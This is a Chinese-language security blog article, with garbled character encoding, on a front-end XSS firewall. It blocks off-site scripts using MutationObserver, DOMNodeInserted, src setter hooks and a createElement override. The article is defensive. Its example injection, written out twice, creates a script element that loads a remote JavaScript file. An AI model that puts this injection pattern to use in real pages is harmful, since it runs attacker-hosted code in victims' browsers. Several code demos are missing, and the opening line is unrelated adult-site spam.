国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅 系統(tǒng)安全應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 應(yīng)用安全 >

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

時(shí)間:2014-06-27 16:35來源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
上一篇介紹的系統(tǒng),雖然能防御簡單的內(nèi)聯(lián)XSS 代碼,但想繞過還是很容易的。 由于是在前端防護(hù),策略配置都能在源代碼里找到,因此很快就能試出破解方案。并且攻擊者可以屏蔽日志接口,
Tags漏洞(188)XSS(21)應(yīng)用安全(1006)防火墻(206)  

  上一篇介紹的系統(tǒng),雖然能防御簡單的內(nèi)聯(lián)XSS 代碼,但想繞過還是很容易的。

  由于是在前端防護(hù),策略配置都能在源代碼里找到,因此很快就能試出破解方案。并且攻擊者可以屏蔽日志接口,在自己電腦上永不發(fā)出報(bào)警信息,保證測試時(shí)不會(huì)被發(fā)現(xiàn)。

  昨天提到最簡單并且最常見的XSS代碼,就是加載站外的一個(gè)腳本文件。對(duì)于這種情況,關(guān)鍵字掃描就無能為力了,因?yàn)榇a可以混淆的千變?nèi)f化,我們看不出任何異常,只能將其放行。

  因此,我們還需增加一套可疑模塊跟蹤系統(tǒng)。

  被動(dòng)掃描

  和之前說的一樣,最簡單的辦法仍是遍歷掃描。我們可以定時(shí)分析頁面里的腳本元素,發(fā)現(xiàn)有站外地址的腳本就發(fā)送預(yù)警日志。

  如果昨天說的內(nèi)聯(lián)事件使用定時(shí)掃描,或許還能在觸發(fā)前攔截一部分,但對(duì)于腳本則完全不可能了。腳本元素一旦被掛載到主節(jié)點(diǎn)之下,就立即加載并執(zhí)行了。除非定時(shí)器開的特別短,能在腳本加載的過程中將其銷毀,或許還能攔截,否則一不留神就錯(cuò)過了。

  我們得尋找更高端的瀏覽器接口,能在元素創(chuàng)建或添加時(shí),進(jìn)行分析和攔截。

  主動(dòng)防御

  在無所不能的 HTML5 里,這當(dāng)然是能辦到的,它就是 MutationEvent。與其相關(guān)的有兩個(gè)玩意:一個(gè)叫 DOMNodeInserted 的事件,另一個(gè)則是 MutationObserver 類。

  前者雖然是個(gè)事件,但即使阻止冒泡它,或調(diào)用 preventDefault 這些方法,仍然無法阻止元素被添加;而后者就不用說了,看名字就是一個(gè)觀察器,顯然優(yōu)先級(jí)會(huì)更低。

  MutationEvent 試探

  但不管能否實(shí)現(xiàn)我們的目標(biāo),既然有這么個(gè)東西,就先測試看看究竟能有多大的本領(lǐng)。

  

  Run

  出乎意料的是,MutationObserver 居然能逐一捕捉到頁面加載時(shí)產(chǎn)生的靜態(tài)元素,這在過去只能通過定時(shí)器才能勉強(qiáng)實(shí)現(xiàn)。同時(shí)為了更高效的記錄,MutationObserver 并非發(fā)現(xiàn)新元素就立即回調(diào),而是將一個(gè)時(shí)間片段里出現(xiàn)的所有元素,一起傳過來。這對(duì)性能來說是件好事,但顯然會(huì)損失一些優(yōu)先級(jí)。

  再看DOMNodeInserted,它雖然無法捕獲到靜態(tài)元素,但在動(dòng)態(tài)創(chuàng)建元素時(shí),它比 MutationObserver 更早觸發(fā),擁有更高的優(yōu)先級(jí)。

  靜態(tài)腳本攔截

  接著再來嘗試,能否利用這兩個(gè)事件,銷毀可疑的腳本元素,以達(dá)到主動(dòng)攔截的效果。

  

  Run

  又是一個(gè)出人意料的結(jié)果,所有靜態(tài)腳本被成功攔截了!

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

  然而這并非標(biāo)準(zhǔn)。FireFox 雖然攔截到腳本,但仍然執(zhí)行代碼了。

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

  不過對(duì)于預(yù)警系統(tǒng)來說,能夠發(fā)現(xiàn)問題也足夠了,可以攔截風(fēng)險(xiǎn)那就再好不過。

  動(dòng)態(tài)腳本攔截

  剛剛測試了靜態(tài)腳本的攔截,取得了不錯(cuò)的成績。但在動(dòng)態(tài)創(chuàng)建的元素上,和我們先前猜測的一樣,MutationObserver 因優(yōu)先級(jí)過低而無法攔截。

  那就讓 DOMNodeInserted 來試試:

  

  Run

  遺憾的是,DOMNodeInserted 也沒能攔截動(dòng)態(tài)腳本的執(zhí)行 —— 盡管能檢測到。經(jīng)過一番嘗試,所有瀏覽器都宣告失敗。

  當(dāng)然,能實(shí)時(shí)預(yù)警已滿足我們的需求了。但若能攔截動(dòng)態(tài)腳本,整套系統(tǒng)防御力就更高了。

  既然無法通過監(jiān)控節(jié)點(diǎn)掛載來攔截,我們不妨換一條路。問題總有解決的方案,就看簡單與否。

  屬性攔截

  仔細(xì)分析動(dòng)態(tài)腳本創(chuàng)建的所有步驟:

  var el = document.createElement('script'); el.src = 'http://www.etherdream.com/xss/out.js?dynamic'; document.body.appendChild(el);

  是哪一步觸發(fā)了掛載事件?顯然是最后行。要獲得比它更高的優(yōu)先級(jí),我們只能往前尋找。

  既然是動(dòng)態(tài)創(chuàng)建腳本,賦予它 src 屬性必不可少。如果創(chuàng)建腳本只為賦值 innerHTML 的話,還不如直接 eval 代碼更簡單。

  如果能在屬性賦值時(shí)進(jìn)行攔截,那么我們即可阻止賦予可疑的 src 屬性。

  類似 IE 有個(gè) onpropertychange 事件,HTML5 里面也是有屬性監(jiān)聽接口的,并且就是剛剛我們使用的那個(gè):MutationEvent。甚至還是那兩套方案:DOMAttrModified 和 MutationObserver。

  在根節(jié)點(diǎn)上監(jiān)聽屬性變化,肯定會(huì)大幅影響頁面的性能,但我們還是先來看看是否可行。

  先嘗試 MutationObserver:

  var observer = new MutationObserver(function(mutations) { console.log(mutations); }); observer.observe(document, { subtree: true, attributes: true }); var el = document.createElement('script'); el.src = 'http://www.etherdream.com/xss/out.js?dynamic'; document.body.appendChild(el);

  站外腳本執(zhí)行了,但奇怪的是,回調(diào)卻沒有觸發(fā)。原來,我們監(jiān)控的是 document 下的元素,而腳本賦值時(shí)還處于離屏狀態(tài),顯然無法將事件冒泡上來。

  如果我們先 appendChild 再賦值 src 屬性,倒是可以捕獲到。但現(xiàn)實(shí)中調(diào)用順序完全不是我們說了算的。

  同樣的,DOMAttrModified 也有這問題。

  看來,事件這條路的局限性太大,我們得另辟蹊徑。

  API 攔截

  監(jiān)控屬性賦值的方式肯定不會(huì)錯(cuò),只是我們不能再用事件那套機(jī)制了。

  想在修改屬性時(shí)觸發(fā)函數(shù)調(diào)用,除了事件外,另一個(gè)在傳統(tǒng)語言里經(jīng)常用到的、并且主流 JavaScript 也支持的,那就是Setter 訪問器。

  當(dāng)我們?cè)O(shè)置腳本元素 src 屬性時(shí),理論上說 HTMLScriptElement.prototype.src 這個(gè)訪問器將被調(diào)用。如果我們重寫這個(gè)訪問器,即可在設(shè)置腳本路徑時(shí)將其攔截。

  

  Run

  如果這套方案可行的話,一切都將迎刃而解。而且我們只監(jiān)聽腳本元素的 src 賦值,其他元素和屬性則完全不受影響,因此性能得到極大提升。

  經(jīng)測試,F(xiàn)ireFox 和 IE 瀏覽器完全可行。我們事先保存原始的 setter 變量,然后根據(jù)策略,決定是否向上調(diào)用。

  

  Run

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

  效果非常漂亮,然而現(xiàn)實(shí)卻令人遺憾 —— 我們的主流瀏覽器 Chrome 并不支持。由于無法操作原生訪問器,即使在原型鏈上重寫了 setter,實(shí)際賦值時(shí)仍不會(huì)調(diào)用我們的監(jiān)控程序。

  先不急,若是拋棄原型鏈,直接在元素實(shí)例上定義訪問器又會(huì)如何?

  

  run

  這一回,Chrome 終于可以了。

針對(duì)XSS漏洞的前端防火墻:可疑模塊攔截

  然而,這僅僅是測試?,F(xiàn)實(shí)中哪有這樣的機(jī)會(huì),供我們裝上訪問器呢。

  因此,我們只能把主動(dòng)防御的時(shí)機(jī)再往前推,在元素創(chuàng)建時(shí)就調(diào)用我們的防御代碼。我們得重寫 createElement 這些能創(chuàng)建元素 API,只有這樣,才能第一時(shí)間里,給實(shí)例裝上我們的鉤子程序,為 Chrome 實(shí)現(xiàn)動(dòng)態(tài)模塊的防御:

  

  Run

  這樣,當(dāng)元素創(chuàng)建時(shí),就已帶有我們的屬性掃描程序了,Chrome 不支持的問題也迎刃而解。

  事實(shí)上,除了重寫 property 訪問器,我們還得考慮通過 setAttribute 賦值 src 的情況。因此需整理出一套完善的瀏覽器鉤子程序。

  重寫原生 API 看似很簡單,但如何才能打造出一個(gè)無懈可擊的鉤子系統(tǒng)呢?明天繼續(xù)講解。

------分隔線----------------------------

推薦內(nèi)容